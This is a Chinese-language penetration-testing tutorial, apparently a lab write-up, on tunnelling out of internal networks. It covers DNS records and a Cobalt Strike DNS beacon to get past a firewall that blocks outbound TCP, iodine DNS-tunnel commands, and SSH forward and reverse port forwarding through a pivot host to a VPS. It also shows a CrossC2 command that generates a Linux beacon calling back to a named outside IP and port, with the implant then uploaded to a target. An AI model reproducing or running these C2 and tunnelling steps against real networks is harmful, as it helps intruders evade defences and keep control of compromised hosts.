内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机

一、DNS隧道技术

DNS简介:DNS协议为应用层协议,区域传输时用tcp协议,域名解析时用udp协议

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第1张图片

###通过DNS隧道绕过防火墙,实现CS上线

实验背景:靶机防火墙封禁出站TCP协议

1、判断出网协议,若果可以ping通,可以利用ICMP协议隧道(之前文章有利用详情)

2、判断是否可以使用DNS协议搭建隧道:nslookup(nslookup baidu.com)

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第2张图片

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第3张图片

3、在自己的域名服务中添加NS记录(将子域名指定其他DNS服务器解析)和A(将一个域名指定为IPV4地址)记录,最好添加两条

www.dafei6.cn 解析结果 8.130.119.xx

ns1.dafei6.cn 解析结果为 www.dafei6.cn

ns2.dafei6.cn 解析结果为 www.dafei6.cn

4、VPS防火墙(安全组)开放DUP端口53,

注意:DNS paylod默认使用53端口,所以一定要把vps的53端口kill掉,端口占用是不会上线的。

查看53端口是否占用,lsof -i:53

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第4张图片

5、启动CS,创建DNS Beacon,Payload设置DNS地址为ns1.dafei6.cn、ns2.dafei6.cn,StagerDNS地址设置为www.dafei6.cn,生成后门

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第5张图片

5、靶机运行木马,CS实现上线,会话交互输入mode dns-txt,即可上线

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第6张图片

###通过DNS隧道绕过防火墙保持与靶机(内网)的通信

实验背景:靶机防火墙封禁出站TCP协议,获取到执行cmd的权限

实验工具:iodined(https://github.com/yarrick/iodine)

1、在服务器中执行 iodined -f -c -P dafei 192.168.0.1 ns1.dafei6.cn -DD //设置密码dafei并创建虚拟IP及绑定域名指向ns1.dafei6.cn,服务器会新建一个IP为192.168.0.1的网卡

    iodined -f -c -P Micr067 192.168.0.1 .abc.com -DD

    -f:在前台运行

    -c:禁止检查所有传入请求的客户端IP地址。

    -P:客户端和服务端之间用于验证身份的密码。

    -D:指定调试级别,-DD指第二级。“D”的数量随级别增加。

    这里的192.168.0.1是自定义的局域网虚拟IP地址

apt-get update

apt install iodine

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第7张图片

2、在靶机CMD中执行 iodine.exe -f -M 200 -P dafei ns1.dafei6.cn //靶机会新建一个IP为192.168.0.X/24的C段网卡,实现与服务器的同网段通信

    iodine -f -P Micr067 .abc.ltd -M 200

    -r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道

    -M:指定上行主机的大小。

    -m:调节最大下行分片的大小。

    -T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。

    -O:指定数据编码规范。

    -L:指定是否开启懒惰模式,默认开启。

    -I:指定两个请求之间的时间间隔。

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第8张图片

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第9张图片

二、SSH隧道技术(利用SSH协议将同网段的内网主机端口服务转发到远程vps)

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第10张图片

1、通讯:

由于SSH协议存在于Linux系统,跳板机必须Linux

开启ssh协议登录:

vi /etc/ssh/sshd_config

PermitRootLogin yes

PasswordAuthentication yes

/etc/init.d/ssh start

/etc/init.d/ssh restart

靶机封禁出站,采取正向入站,将内网主机的端口服务封装到本地,实现端口的转发

ssh -CfNg -L 1234:192.168.131.134:80 [email protected] //将内网主机192.168.131.134的80端口转发至本地192.168.131.128的8877端口

curl http://127.0.0.1:8877

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第11张图片

靶机封禁入站,采取反向出站

在跳板机192.168.131.128中输入:ssh -CfNg -R 9988:192.168.131.134:80 [email protected] //将内网主机192.168.131.134的80端口转发至8.130.119.137的9988端口

在远程VPS(8.130.119.137)中访问:curl http://127.0.0.1:9988

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第12张图片

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第13张图片

三、CS上线linux系统(利用CrossC2.cna)

1、首先下载CrossC2(https://github.com/gloxec/CrossC2)目前版本只支持反向的https和正向的tcp

将对应服务器系统类型的相关插件和文件传入CS根目录,并赋予一定的执行权限

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第14张图片

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第15张图片

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第16张图片

2、新建监听器,生成木马

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第17张图片

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第18张图片

3、根据CS的事件日志,生成木马

/root/CS4.5 /genCrossC2.Linux 8.130.119.137 5566 ./.cobaltstrike.beacon_keys null Linux x64 t_cc2.out

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第19张图片

4、上传木马文件,添加执行权限

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第20张图片

内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机_第21张图片

你可能感兴趣的:(安全,ssh,linux)